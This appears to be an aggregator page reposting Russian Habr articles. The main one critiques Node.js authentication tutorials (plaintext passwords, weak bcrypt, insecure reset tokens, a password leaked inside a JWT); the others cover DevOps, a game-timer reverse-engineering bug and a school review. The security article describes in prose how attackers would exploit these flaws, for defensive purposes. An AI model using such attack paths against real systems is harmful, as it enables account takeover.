-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

[Перевод] Аутентификация в Node.js. Учебные руководства и возможные ошибки

Пятница, 11 Августа 2017 г. 15:11 + в цитатник
Однажды я отправился на поиск учебных руководств по аутентификации в Node.js/Express.js, но, к сожалению, не смог найти ни одного, которое меня бы полностью устроило. Некоторые были неполными, некоторые содержали ошибки в сфере безопасности, вполне способные навредить неопытным разработчикам.

Сразу скажу, что я всё ещё нахожусь в поиске надёжного, всеобъемлющего решения для аутентификации в Node/Express, которое способно составить конкуренцию Devise для Rails. Однако, удручающая ситуация в сфере руководств подвигла меня на подготовку этого материала. Тут я разберу некоторые наиболее распространённые ошибки в области аутентификации и расскажу о том, как их избежать.

image

Выше я говорил о «неопытных разработчиках». Кто они? Например — это тысячи фронтенд-программистов, брошенных в водоворот серверного JS, которые пытаются набраться практического опыта из руководств, либо просто копипастят всё, что попадётся под руку и устанавливают всё подряд с помощью npm install. Почему бы им не вложить время в серьёзное изучение вопроса? Дело в том, что они копипастят не от хорошей жизни, им приходится из кожи вон лезть, чтобы уложиться в сроки, установленные аутсорс-менеджерами, или кем-то вроде креативных директоров рекламных агентств.

На самом деле, пока я искал подходящее руководство по аутентификации, я проникся ощущением, что каждый Node-программист, у которого есть блог, опубликовал собственный тьюториал, посвящённый тому, как «делать это правильно», или, точнее, о том, «как это делается».

Ещё одна неоднозначная вещь в разработке для Node.js заключается в отсутствии некоего всеобъемлющего, надёжного решения для аутентификации. Этот вопрос, в основном, рассматривается в качестве чего-то вроде упражнения для программиста. Стандартом де-факто для Express.js является Passport, однако, это решение предлагает лишь набор стратегий аутентификации. Если вам нужно надёжное решение для Node, вроде Platformatec Devise для Ruby on Rails, вам, вероятно, придётся обратиться к Auth0 — стартапу, который предлагает аутентификацию как сервис.

Passport, в отличие от полномасштабного Devise, представляет собой промежуточный программный слой, который, сам по себе, не охватывает все части процесса аутентификации. Используя Passport, Node-разработчику придётся создать собственное API для механизма токенов и для сброса пароля. Ему придётся подготовить маршруты и конечные точки аутентификации пользователей. На нём же лежит и создание интерфейсов с использованием, например, некоего популярного языка шаблонов. Именно поэтому существует множество учебных руководств, которые направлены на помощь в установке Passport для Express.js-приложений. Практически все они содержат те или иные ошибки. Ни одно из них не позволяет создать полномасштабное решение, необходимое для работающего веб-приложения.

Хотелось бы отметить, что я не собираюсь нападать на конкретных создателей этих руководств, скорее я использую их ошибки для того, чтобы продемонстрировать проблемы с безопасностью, связанные с развёртыванием ваших собственных систем аутентификации. Если вы — автор подобного руководства — дайте мне знать, если после чтения этого материала внесёте в своё руководство правки. Сделаем экосистему Node/Express безопаснее и доступнее для новых разработчиков.

Ошибка первая: хранилище учётных данных


Начнём с хранилища учётных данных. Запись и чтение учётных данных — это вполне обычные задачи в сфере управления аутентификацией, и традиционный способ решения этих задач заключается в использовании собственной базы данных. Passport является промежуточным программным обеспечением, которое просто сообщает нашему приложению: «этот пользователь прошёл проверку», или: «этот пользователь проверку не прошёл», требуя модуля passport-local для работы с хранилищем паролей в локальной базе данных. Этот модуль написан тем же разработчиком, что и сам Passport.js.

Прежде чем мы спустимся в эту кроличью нору учебных руководств, вспомним об отличной шпаргалке по хранению паролей, подготовленной OWASP, которая сводится к тому, что нужно хранить высокоэнтропийные пароли с уникальной «солью» и c применением односторонних адаптивных функций хэширования. Тут можно вспомнить и bcrypt-мем с codahale.com, даже несмотря на то, что по данному вопросу имеются некоторые разногласия.

Я, в поиске того, что мне нужно, повторяя путь нового пользователя Express.js и Passport, сначала заглянул в примеры к самому passport-local. Там оказался шаблон приложения Express 4.0., который я мог скопировать и расширить под свои нужды. Однако, после простого копирования этого кода, я получал не так уж и много полезностей. Например, здесь не оказалось подсистемы поддержки базы данных. Пример подразумевал простое использование некоторого набора аккаунтов.

На первый взгляд всё вроде бы нормально. Перед нами — обычное интранет-приложение. Разработчик, который воспользуется им, загружен донельзя, у него нет времени что-то серьёзно улучшать. Неважно, что пароли в примере не хэшируются. Они хранятся в виде обычного текста прямо рядом с кодом логики валидации. А хранилище учётных данных здесь даже не рассматривается. Чудная получится система аутентификации.

Поищем ещё одно учебное руководство по passport-local. Например, мне попался этот материал от RisingStack, который входит в серию руководств «Node Hero». Однако, и эта публикация мне совершенно не помогла. Она тоже давала пример приложения на GitHub, но имела те же проблемы, что и официальное руководство. Тут, однако, надо отметить, что 8-го августа стало известно о том, что RisingStack теперь использует bcrypt в своём демонстрационном приложении.

Далее, вот ещё один результат из Google, выданный по запросу express js passport-local tutorial. Руководство написано в 2015-м. Оно использует Mongoose ODM и читает учётные данные из базы данных. Тут есть всё, включая интеграционные тесты, и, конечно, ещё один шаблон, который можно использовать. Однако, Mongoose ODM хранит пароли, используя тип данных String, как и в предыдущих руководствах, в виде обычного текста, только на этот раз в экземпляре MongoDB. А всем известно, что экземпляры MongoDB обычно очень хорошо защищены.

Вы можете обвинить меня в пристрастном выборе учебных руководств, и вы будете правы, если пристрастный выбор означает щелчок по ссылке с первой страницы выдачи Google.

Возьмём теперь материал с самого верха страницы результатов поиска — руководство по passport-local от TutsPlus. Это руководство лучше, тут используют bcrypt с коэффициентом трудоёмкости 10 для хэширования паролей и замедляют синхронные проверки хэша, используя process.nextTick.

Самый верхний результат в Google, это руководство от scotch.io, в котором так же используется bcrypt с меньшим коэффициентом трудоёмкости, равным 8. И 8, и 10 — это мало, но 8 — это очень мало. Большинство современных bcrypt-библиотек используют 12. Коэффициент трудоёмкости 8 был хорош для административных учётных записей восемнадцать лет назад, сразу после выпуска первой спецификации bcrypt.

Если даже не говорить о хранении секретных данных, ни одно из этих руководств не показывало реализацию механизма сброса паролей. Эта важнейшая часть системы аутентификации, в которой немало подводных камней, была оставлена в качестве упражнения для разработчика.

Ошибка вторая: система сброса паролей


Схожая проблема в области безопасности — сброс пароля. Ни одно из руководств, находящихся в верхней части поисковой выдачи, совершенно ничего не говорит о том, как делать это с использованием Passport. Чтобы это узнать, придётся искать что-то другое.

В деле сброса пароля есть тысячи способов всё испортить. Вот наиболее распространённые ошибки в решении этой задачи, которые мне довелось видеть:

  1. Предсказуемые токены. Токены, основанные на текущем времени — хороший пример. Токены, построенные на базе плохого генератора псевдослучайных чисел, хотя и выглядят лучше, проблему не решают.

  2. Неудачное хранилище данных. Хранение незашифрованных токенов сброса пароля в базе данных означает, что если она будет взломана, эти токены равносильны паролям, хранящимся в виде обычного текста. Создание длинных токенов с помощью криптографически стойкого генератора псевдослучайных чисел позволяет предотвратить удалённые атаки на токены сброса пароля методом грубой силы, но не защищает от локальных атак. Токены для сброса пароля следует воспринимать как учётные данные и обращаться с ними соответственно.

  3. Токены, срок действия которых не истекает. Если срок действия токенов не истекает, у атакующего есть время для того, чтобы воспользоваться временным окном сброса пароля.

  4. Отсутствие дополнительных проверок. Дополнительные вопросы при сбросе пароля — это стандарт верификации данных де-факто. Конечно, это работает как надо лишь в том случае, если разработчики выбирают хорошие вопросы. У подобных вопросов есть собственные проблемы. Тут стоит сказать и об использовании электронной почты для восстановления пароля, хотя рассуждения об этом могут показаться излишней перестраховкой. Ваш адрес электронной почты — это то, что у вас есть, а не то, что вы знаете. Он объединяет различные факторы аутентификации. Как результат, адрес почты становится ключом к любой учётной записи, которая просто отправляет на него токен сброса пароля.

Если вы со всем этим никогда не сталкивались, взгляните на шпаргалку по сбросу паролей, подготовленную OWASP. Теперь, обсудив общие вопросы, перейдём к конкретике, посмотрим, что может предложить экосистема Node.

Ненадолго обратимся к npm и посмотрим, сделал ли кто-нибудь библиотеку для сброса паролей. Вот, например, пакет пятилетней давности от в целом замечательного издателя substack. Учитывая скорость развития Node, этот пакет напоминает динозавра, и если бы мне хотелось попридираться к мелочам, то я мог бы сказать, что функция Math.random() предсказуема в V8, поэтому её не следует использовать для создания токенов. Кроме того, этот пакет не использует Passport, поэтому мы идём дальше.

Stack Overflow здесь тоже особенно не помог. Как оказалось, разработчики из компании Stormpath любят писать о своём IaaS-стартапе в любом посте, хоть как-то связанным с этой темой. Их документация тоже всплывает повсюду, они также продвигают свой блог, где есть материалы по сбросу паролей. Однако, чтение всего этого — пустая трата времени. Stormpath — проект нерабочий, 17 августа 2017-го он закрывается.

Ладно, возвращаемся к поиску в Google. На самом деле, такое ощущение, что интересующая нас тема раскрыта в единственном материале. Возьмём первый результат, найденный по запросу express passport password reset. Тут снова встречаем нашего старого друга bcrypt, с даже меньшим коэффициентом трудоёмкости, равным 5, что значительно меньше, чем нужно в современных условиях.

Однако, это руководство выглядит довольно-таки целостным по сравнению с другими, так как оно использует crypto.randomBytes для создания по-настоящему случайных токенов, срок действия которых истекает, если они не были использованы. Однако, пункты 2 и 4 из вышеприведённого списка ошибок при сбросе пароля в этом серьёзном руководстве не учтены. Токены хранятся ненадёжно — вспоминаем первую ошибку руководств по аутентификации, связанную с хранением учётных данных.

Хорошо хотя бы то, что украденные из такой системы токены имеют ограниченный срок действия. Однако, работать с этими токенами очень весело, если у атакующего есть доступ к объектам пользователей в базе данных через BSON-инъекцию, или есть свободный доступ к Mongo из-за неправильной настройки СУБД. Атакующий может просто запустить процесс сброса пароля для каждого пользователя, прочитать незашифрованные токены из базы данных и создать собственные пароли для учётных записей пользователей, вместо того, чтобы заниматься ресурсоёмкой атакой по словарю на хэши bcrypt с использованием мощного компьютера с несколькими видеокартами.

Ошибка третья: токены API


Токены API — это тоже учётные данные. Они так же важны, как пароли и токены сброса паролей. Практически все разработчики знают это и стараются очень надёжно хранить свои ключи AWS, коды доступа к Twitter и другие подобные вещи, однако, к программам, которые они пишут, это часто не относится.

Воспользуемся системой JSON Web Tokens (JWT) для создания учётных данных доступа к API. Применение токенов без состояния, которые можно добавлять в чёрные списки и нужно запрашивать, это лучше, чем старый шаблон API key/secret, который использовался в последние годы. Возможно, наш начинающий Node.js-разработчик где-то слышал о JWT, или даже видел пакет passport-jwt и решил реализовать в своём проекте стратегию JWT. В любом случае, JWT — это то место, где кажется, что все попадают в сферу влияния Node.js. (Почтенный Томас Пташек заявит, что JWT — это плохо, но я сомневаюсь, что его кто-нибудь услышит).

Поищем по словам express js jwt в Google и откроем первый материал в поисковой выдаче, руководство Сони Панди об аутентификации пользователей с применением JWT. К несчастью, этот материал нам ничем не поможет, так как в нём не используется Passport, но пока мы на него смотрим, отметим некоторые ошибки в хранении учётных данных:

  1. Ключи JWT хранятся в виде обычного текста в GitHub-репозитории.

  2. Для хранения паролей используется симметричный шифр. Это означает, некто может завладеть ключом шифрования и расшифровать все пароли. К тому же, тут наблюдаются неправильные взаимоотношения между ключом шифрования и секретным ключом JWT.

  3. Здесь, для шифрования данных в хранилище паролей, используется алгоритм AES-256-CTR. AES вообще не стоит использовать, и данный его вариант ничего не меняет. Я не знаю, почему был выбран именно этот алгоритм, но только одно это делает зашифрованные данные уязвимыми.

Да уж… Вернёмся к Google и поищем ещё руководств. Ресурс scotch.io, который, в руководстве по passport-local, проделал замечательную работу, касающуюся хранилища паролей, просто игнорирует свои же идеи и хранит пароли в новом примере в виде обычного текста.

Однако, я решил дать этому руководству шанс, хотя его нельзя рекомендовать любителям копипастить. Это из-за одной интересной особенности, которая заключается в том, что тут выполняется сериализация объекта пользователя Mongoose в JWT.

Клонируем репозиторий этого руководства, следуя инструкциям развернём и запустим приложение. После нескольких DeprecationWarning от Mongoose можно будет перейти на http://localhost:8080/setup и создать пользователя. Затем, отправив на /api/authenticate учётные данные — «Nick Cerminara» и «password», мы получим токен, Просмотрим его в Postman.


JWT-токен, полученный из программы, описанной в руководстве scotch.io

Обратите внимание на то, что JWT-токен подписан, но не зашифрован. Это означает, что большой фрагмент двоичных данных между двумя точками — это объект в кодировке Base64. По-быстрому его раскодируем и перед нами откроется кое-что интересное.


Что может быть лучше пароля в виде обычного текста

Теперь любой, у кого есть токен, даже такой, срок действия которого истёк, имеет пароль пользователя, а заодно и всё остальное, что хранится в модели Mongoose. Учитывая то, что токен передаётся по HTTP, завладеть им можно с помощью обычного сниффера.

Как насчёт ещё одного руководства? Оно рассчитано на новичков и посвящено аутентификации с использованием Express, Passport и JWT. В нём наблюдается та же уязвимость, связанная с раскрытием информации. Следующее руководство, подготовленное стартапом SlatePeak, выполняет такую же сериализацию. На данном этапе я прекратил поиски.

Ошибка четвёртая: ограничение числа попыток аутентификации


Я не нашёл упоминаний об ограничении числа попыток аутентификации или о блокировке аккаунта ни в одном из рассмотренных руководств.

Без ограничения числа попыток аутентификации, атакующий может выполнить онлайновую атаку по словарю, например, с помощью Burp Intruder, в надежде получить доступ к учётной записи со слабым паролем. Блокировка аккаунта так же помогает в решении этой проблемы благодаря требованию ввода дополнительной информации при следующей попытке входа в систему.

Помните о том, что ограничение числа попыток аутентификации способствует доступности сервиса. Так, использование bcrypt создаёт серьёзную нагрузку на процессор. Без ограничений, функции, в которых вызывают bcrypt, становятся вектором отказа в обслуживании уровня приложения, особенно при использовании высоких значений коэффициента трудоёмкости. В результате обработка множества запросов на регистрацию пользователей или на вход в систему с проверкой пароля создаёт высокую нагрузку на сервер.

Хотя подходящего учебного руководства на эту тему у меня нет, есть множество вспомогательных библиотек для ограничения числа запросов, таких, как express-rate-limit, express-limiter, и express-brute. Не могу говорить об уровне безопасности этих модулей, я их даже не изучал. В целом, я порекомендовал бы использовать в рабочих системах обратный прокси и передавать обработку ограничения числа запросов nginx или любому другому балансировщику нагрузки.

Итоги: аутентификация — задача непростая


Скорее всего авторы учебных руководств будут защищать себя со словами: «Это лишь объяснение основ! Уверены, никто не будет использовать этого в продакшне!». Однако, я не могу не указать на то, что эти слова не соответствуют действительности. Это особенно справедливо, если к учебным руководствам прилагается код. Люди верят словам авторов руководств, у которых гораздо больше опыта, чем у тех, кто руководства читает.

Если вы — начинающий разработчик — не доверяйте учебным руководствам. Копипастинг кода из таких материалов, наверняка, приведёт вас, вашу компанию, и ваших клиентов, к проблемам в сфере Node.js-аутентификации. Если вам действительно нужны надёжные, готовые к использованию в продакшне, всеобъемлющие библиотеки для аутентификации, взгляните на что-то, чем вам удобно будет пользоваться, на что-то, что обладает большей стабильностью и лучше испытано временем. Например — на связку Rails/Devise.

Экосистема Node.js, несмотря на свою доступность, всё ещё таит множество опасностей для JS-разработчиков, которым нужно срочно написать веб-приложение для решения реальных задач. Если ваш опыт ограничивается фронтендом, и ничего кроме JavaScript вы не знаете, лично я уверен в том, что легче взять Ruby и встать на плечи гигантов, вместо того, чтобы быстро научиться тому, как не отстрелить себе ногу, программируя подобные решения с нуля для Node.

Если вы — автор учебного руководства, пожалуйста, обновите его, в особенности это касается шаблонного кода. Этот код попадёт в продакшн.

Если вы — убеждённый Node.js-разработчик, надеюсь, вы нашли в моём рассказе что-нибудь полезное, касающееся того, чего лучше не делать в вашей системе аутентификации, основанной на Passport. Наверняка, если такая система у вас уже есть, что-то в ней сделано неправильно. Я не говорю о том, что мой материал покрывает все возможные ошибки аутентификации. Создание системы аутентификации для Express-приложения — это задача разработчика, который понимает все тонкости конкретного проекта. В результате получиться у него должно что-то качественное и надёжное. Если вы хотите обсудить вопросы защиты веб-приложений на Node.js — отправьте мне сообщение в Twitter.
Автор публикации сообщает, что 7-го августа, с ним связались представители RisingStack. Они сообщили о том, что в их учебных руководствах пароли больше не хранятся в виде обычного текста. Теперь в коде и руководствах они используют bcrypt.

Кроме того, он, вдохновлённый откликами на свой материал, создал этот документ, в котором намеревается собрать всё лучшее из области аутентификации в Node.js.

Уважаемые читатели! Что вы можете сказать об организации системы аутентификации в веб-приложениях, основанных на Node.js?
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335434/


Метки:  

Узники системы

Пятница, 11 Августа 2017 г. 15:00 + в цитатник

Привет! Меня зовут Ваня. За последние 10 лет меня покидало по разным специализациям. Я занимался и фул стек веб-разработкой, и мобильными приложениями, а последние лет 5 — играми. Теперь вот в Microsoft занесло. Хочу поделиться историей о том как менялось мое отношение к разным особенностям профессии.



Когда я был еще личинкой разработчика, я любил программирование больше всего на свете. Возможность писать код (Да еще и получать за это деньги!) туманила разум. Получив свою первую профессиональную работу веб-разработчиком, я был на седьмом небе от счастья и не мог поверить, что так бывает. Но не все так просто...


В этой бочке нашлась ложка дегтя — менеджеры.


Выкидыши системы. Они не понимали и не хотели понимать почему фичу, которую они просят, нельзя сделать быстро. А я не хотел объяснять. Я хотел писать код. Хотел чтобы мне не мешали. Они заставляли меня создавать задачи в трекере и логгировать время. Они заставляли меня ходить на митинги полные пустых разговоров. Зачем все это?


Я просто хочу писать код. Почему я должен общаться с этими людьми? Они не понимают и десятой части того, о чем я говорю. Как было бы хорошо избавиться от всей этой бюрократической чуши! Игры! В разработке игр наверняка нет всей этой ереси!


Глоток свободы


И вот, спустя несколько лет я попал в мир грез. Разработка игр. Я устроился в новообразовавшуюся студию. Кроме меня и моей начальницы больше никого не было. Она мне дала общее описание проекта. Никаких деталей. И сказала, мол, начни делать что-нибудь. Неделю я просто писал код, работая над прототипом. Никаких митингов, никаких таск-трекеров, никаких отчетов. С меня ничего не спрашивали. Я подумал: "Боже, я что в рай что ли попал?". Свобода!


Мы реализовывали все клевые идеи, которые только появлялись в нашей голове. Было весело. Но однажды на нас сверху спустили требования и сроки. Все изменилось. Объем работы вырос. Я один не справлялся. Мы наняли несколько разработчиков.


Мы делили работу между собой, но работали очень неформально. Сроки, конечно, были, но никто не дышал в затылок. В какой-то момент я заметил, что мы часто обсуждаем важные детали устно. Это приводило к тому, что мы забывали что-то доделать, или забывали о некоторых задачах и багах совсем. Они просто терялись.


Мы хаотично переключались от багов к задачам и наоборот. Это подтолкнуло нас к первому шагу в сторону порядка — таск трекер. А ведь я так это не любил. Мне всегда это казалось чисто формальным и совсем не нужным.


Мы стали все фиксировать в трекере. Со временем. Стали меньше забывать о чем-то. Мы не теряли баги. В хаосе появился кусочек порядка. Мы начали фокусироваться только на самых важных задачах. Мы стали понимать сколько успеем за неделю.


В этот момент я осознал, что все эти процессы, которые мне казались бюрократией, были придуманы людьми не просто так.


Погружение


Не знаю, то ли это я стал опытнее, то ли это бремя ответственности за проект, свалившееся на меня как на лида. Но я начал понимать, что мы тратим кучу времени на какие-то левые вещи.


Пока мы разрабатывали игрушку, очень важно было постоянно получать фидбек, чтобы двигаться в правильном направлении. Мы постоянно собирали билды и выкладывали их на портал, чтобы люди могли поиграть. Фактически, мы работали по Agile схеме. Но у нас не было стендапов. Спринта официально тоже не было, но мы работали итерациями длиной в неделю. Спринт планнинг был условным, а ревью и ретроспективы не было совсем. Иначе говоря, у нас не было митингов с кучей пустой болтовни, и я не заметил какого-либо ущерба от этого.


Разработка прототипа предполагает, что все делается очень быстро. А это означает и частую сборку билдов для демонстрации проделанной работы. В то время мы писали на C++, и время сборки билда нас удручало. В конце концов у нас бомбануло от того что билд нужно собирать несколько раз в день. Мы поставили билд сервер и настроили:


  • сборку билда по коммиту
  • деплой билда в демо-портал
  • уведомление о том, что билд не собрался и список предполагаемых виновников

Сколько времени освободилось! Больше не надо было прерываться посреди задачи, чтобы собрать билд для "шишек", которые хотят его посмотреть прямо сейчас.


С появлением билд сервера пришла новая проблема. Билд стал часто ломаться. Хотя мы и могли сказать "Берите предыдущий билд, последний пока не работает" — это был не самый удобный вариант.


Проблема заключалась в том, что все коммитили в master. Многие коммитили не убедившись, что их коммит не поломал билд. Или не привнес регрессионный баг. Чтобы побороть эту проблему, пришлось внедрить еще одно правило. Мы стали работать по git flow.


Мы стали строго следовать ему и прониклись его идеологией. Работа стала легче. Легче стало сливать изменения в один бранч. Мы разделили билды на release, dev-stable, nightly. Все стали ответственнее относиться к тому, что они делают. Позже мы стали уделять внимание и коммит-месседжам. Привязывать их к тикетам в таск-трекере.


После первого релиза приложения, как это бывает, от юзеров стало поступать много жалоб. Приложение падает, это не работает, то, сё. Проблема была в том, что мы никак не могли получить подробной информации из жалобы. Нам нужно было либо воспроизвести баг силами QA, либо найти способ получить диагностическую информацию. QA может отловить только маленькую часть ошибок. На самые лютые баги всегда натыкаются ваши лояльные пользователи.


Все это потребовало внедрения системы аналитики и мониторинга, которые помогли нам диагностировать кучу проблем, о которых мы даже не подозревали. О многих ошибках юзеры даже не сообщали. В моем воображении они просто орали матом, а потом удаляли игру к чертям.


Мы не хотели сильно портить свою карму, поэтому стали проверять все ошибки, которые сыпятся с продакшен билдов. Никто не хочет стать сейлзом в следующей жизни, поэтому такие баги фиксились довольно быстро.


На границе


Вот так, я начал практиковать те вещи, которые раньше ненавидел. Презрение сменилось пониманием. Пришло и осознание, что проблема не в процессах, а в том как их трактуют. Проблема, как оказалось, глобальна. Люди, придумавшие Scrum, хотели сделать жизнь разработчиков лучше. Но за годы оно превратилось в то, что авторы назвали Dark Scrum.


Взяв простые и понятные правила, люди смогли извратить их до неузнаваемости. А потом стали жаловаться, что Scrum не работает.


В последнее время все говорят о DevOps. У термина куча определений. Но я знаю одно — DevOps должны делать жизнь людей проще. Нужно быть на границе между хаосом и порядком. Крайностей быть не должно. Свалиться в анархию и тонуть в сумбурности процессов — плохо. Ровно как и стремиться к тотальному контролю. Заставлять людей следовать процессам, которые только мешают.


Найти баланс сложно. Но чтобы его найти, нужно хотеть этого. У вас три пути:


  • тихонько ныть, что все плохо, но молчать, надеясь что почему-то станет лучше
  • взять все в свои руки и бороться за то, чтобы процессы помогали вам, а не мешали
  • искать нового работодателя, надеясь что там все будет лучше

В любом случае, решать только вам.


DevOps — не только про разработку. Есть еще Operations, которые вне рамок данной статьи. Но там тоже нужен порядок.


В следующей статье я расскажу о шагах к порядку. Многим они известны. Но я расскажу о нюансах, которые я понял за последние годы.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335426/


Метки:  

Timebug часть 2: интересные решения от EA Black Box

Пятница, 11 Августа 2017 г. 14:56 + в цитатник
Привет, хабр! В своей предыдущей статье я рассказал об интересном баге в одной старенькой игрушке, наглядно продемонстрировал явление накопления ошибки округления и просто поделился своим опытом в обратной разработке. Я надеялся, что на этом можно было бы поставить точку, но я очень сильно ошибался. Поэтому под катом я расскажу продолжение истории о звере по имени Timebug, о 60 кадрах в секунду и об очень интересных решениях при разработке игр.




Предыстория.


Во время написания предыдущей части этой эпопеи вокруг неправильно посчитанных времен трасс я непроизвольно попытался затронуть как можно больше игр. Делать дополнительную работу было лень, поэтому я искал симптомы во всех играх серии NFS, что у меня были на тот момент. Под раздачу попал и Underground 2, но изначальных симптомов я там не нашел:



Как видно из картинки (она кликабельна, кстати), IGT подсчитывается другим способом, который явно завязан на int, а потому накопления ошибки не должно было быть. Я радостно заявил об этом в нашем коммьюнити и планировал уже забыть об этом, но нет: Ewil вручную пересчитал некоторые видео и снова обнаружил разницу во времени. Мы решили, что пока у нас нет времени разбираться с этим и я сконцентрировался на уже известной тогда проблеме, но вот сейчас я смог выделить себе время и заняться именно этой игрой.

Симпотмы.


Я изучил поведение глобального таймера и обнаружил, что его «сбрасывают» с каждым рестартом гонки, с каждым выходом в меню и вообще в любой удобный момент. Это не входило в мои планы, потому что связь с уже известной проблемой потерялась окончательно, и этот таймер просто не должен был ломаться. От отчаяния я записал прохождение 10 кругов и руками посчитал время. К моему удивлению, времена круга там были на 100% точны.

Интересные факты
На самом деле, был обнаружен и другой таймер, который также считал время во float, но он оказался немного бесполезным. Изменяя его я не добился никаких видимых результатов.
А этот int таймер почему-то сбрасывается не в 0, а устанавливается в 4000.


Единственное, что оставалось – дизассемблировать и смотреть, что же там не так. Не вдаваясь в подробности покажу псевдокод процедуры, которая считает это несчастное IGT:

if ( g_fFrameLength != 0.0 )
{
    float v0 = g_fFrameDiff + g_fFrameLength;
    int v1 = FltToDword(v0);
    g_dwUnknown0 += v1;
    g_dwUnknown1 = v1;
    g_dwUnknown2 = g_dwUnknown0;
    g_fFrameDiff = v0 - v1 * 0.016666668;
    g_dwIGT += FltToDword(g_fFrameLength * 4000.0 + 0.5);
    LODWORD(g_fFrameLength) = 0;
    ++g_dwFrameCount;
    g_fIGT = (double)g_dwIGT * 0.00025000001;   // Divides IGT by 4000 to get time in seconds
}


Ну, во-первых:
g_dwIGT += FltToDword(g_fFrameLength * 4000.0 + 0.5);




Изначально этот код показался мне совершенно бессмысленным. Зачем это умножать на 4000, а потом еще добавлять половинку?
На самом деле, это очень хитрая магия. 4000 всего лишь константа, которая пришла кому-то из разработчиков в голову… А вот +0.5 это такой интересный способ округления по законам математики. Добавьте половинку к 4.7 и при обрубании до int получите 5, а при добавлении и округлении 4.3 получим 4, как и хотели. Способ не самый точный, но, наверное, работает быстрее. Лично я возьму на заметку.

А теперь, дорогие читатели, я хочу поиграть с вами в игру. Посмотрите на полный псевдокод выше и попробуйте найти там ошибку. Если устанете или вам просто не интересно, переходите к следующей части.

Ошибка.


Строчка
g_fFrameDiff = v0 — (double)v1 * 0.016666668;

Ошибка под спойлером, чтобы случайно не подсмотреть. Немного поясню: 0.01(6) это 1/60 секунды. Весь код выше, судя по всему, это попытка подсчета и компенсирования подлагивания движка, но они не учли то, что не все играют в 60fps. Отсюда и получился тот самый интересный результат, когда в моем видео все круги совпали с действительностью, а у Ewil’а нет. Он играет с выключенной вертикальной синхронизацией, а игра заблокирована на максимум 120 fps и, соответственно, для его компьютера код отрабатывал неправильно. Я слегка доработал код выше и привел его в человеческий вид:

if ( g_fFrameLength != 0.0 )
{
    float tmpDiff = g_fFrameDiff + g_fFrameLength;
    int diffTime = FltToDword(v0);
    g_dwUnknown0 += diffTime;  // Some unknown vars
    g_dwUnknown1 = diffTime;
    g_dwUnknown2 = g_dwUnknown0;
    g_fFrameDiff = tmpDiff - diffTime * 1.0/60;
    g_dwIGT += FltToDword(g_fFrameLength * 4000 + 0.5);
    g_fFrameLength = 0;
    ++g_dwFrameCount;
    g_fIGT = (float)g_dwIGT / 4000;   // Divides IGT by 4000 to get time in seconds
}


Здесь видно, что при подсчете отставания изначально используется действительное время кадра, а в дальнейшем используются захардкоженные 60 фпс. SUSPICIOUS!
Выключаю vsync и получаю 120 кадров в секунду. Иду записывать видео и получаю примерно 0.3 секунды разницы на круге. Бинго!

Дело осталось за малым, пропатчить хардкорные 60фпс на хардкорные 120фпс. Для этого смотрим ассемблерный код и находим адрес, по которому находится эта магическая константа: 0х007875BC.

Спойлер
На самом деле, известно, что эта константа типа float/double и будет загружаться на ФПУ. ФПУ не умеет загружать из регистра, так что ей суждено было оказаться где-то в памяти. Хорошо, что она оказалась не на стеке, иначе я так просто не отделался бы. Пришлось бы вносить изменения в непосредственно код игры, чего я не хотел делать.


На этот раз я не стал писать никаких особых программ, а просто руками в Cheat Engine изменил значение этой переменной на необходимое. После этого я еще раз записал 10 кругов и посчитал время – IGT и RTA наконец совпадали.

На самом деле, они совпадали не на 100%. Но в большинстве своем из-за того, что запись видео очень сильно просаживала мне частоту кадров, из-за чего игра переставала адекватно рассчитывать разницу времен. Но в целом разница была в районе 0.02 секунды.

Я еще немного поискал в коде, на что влияют те переменные, что так усердно высчитывались в процедуре подсчета времени. Нашел я не очень много, но g_fDiffTime используется где-то в движке рядом с g_fFrameTime. Скорее всего, мое предположение о компенсации подлагивания оказалось верным. Но кто этих разработчиков знает то.

Послесловие.


Я даже не знаю, в который раз я натыкаюсь на игру, которая предполагает 60 кадров в секунду. Это очень плохой стиль написания игр, и я настоятельно рекомендую вам, читатели, учитывать разницу в железе. Особенно если вы инди-разработчик. И совсем особенно если вы разрабатываете на ПК. Для консолей добиться различных мощностей железа не получится, а на ПК из-за этого постоянно всплывают проблемы. А еще есть мониторы с 120/144Hz частотой обновления, и даже больше. Да и g-sync уже подъехал.

Но NFS – это порты с консолей, так что в решениях часто наблюдается чисто консольный подход: предположить, что ФПС не поднимется выше 60 (30, 25, any number), и многие решения наглухо затачиваются именно под это число кадров в секунду. Увы, это стало сильнее проявляться в новых частях серии.

На этот раз статья получилась не такой уж объемной, хотя простора для исследований тут много. Надеюсь, найдется еще что-то интересное в этих играх, о чем можно будет рассказать.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335432/


Метки:  

IT ШКОЛА SAMSUNG от лица ученика

Пятница, 11 Августа 2017 г. 14:43 + в цитатник
image

Привет Хабр! В этой статье я расскажу об it-школе от компании Samsung в России от лица выпускника.



Что написано на сайте школы:

IT ШКОЛА SAMSUNG – программа дополнительного образования по основам IT и программирования. Она открыта для школьников старших классов в более чем 20 городах России.

Благодаря обучению в IT ШКОЛЕ SAMSUNG учащиеся получают знания по основам IT, а также навыки самостоятельной разработки мобильных приложений на языке Java под Android.

Учебный курс программы создан специалистами Исследовательского центра Samsung при поддержке ведущих преподавателей Московского физико-технического института (МФТИ).

Занятия проходят в классах, оборудованных современной техникой Samsung (планшетами, ноутбуками, электронной доской) под руководством профессиональных преподавателей. Обучение бесплатное. Продолжительность курса — 1 год.





Я прошел обучение в данной школе в этом году. И есть несколько мыслей по этому поводу.

Программирование и IT–отрасль в целом очень активно развиваются и постоянно нужны новые сотрудники в различных сферах. Жаль, что подобных курсов для подрастающего поколения очень мало, а курсов, дающих твердый фундамент для развития в будущем вообще катастрофически не хватает.

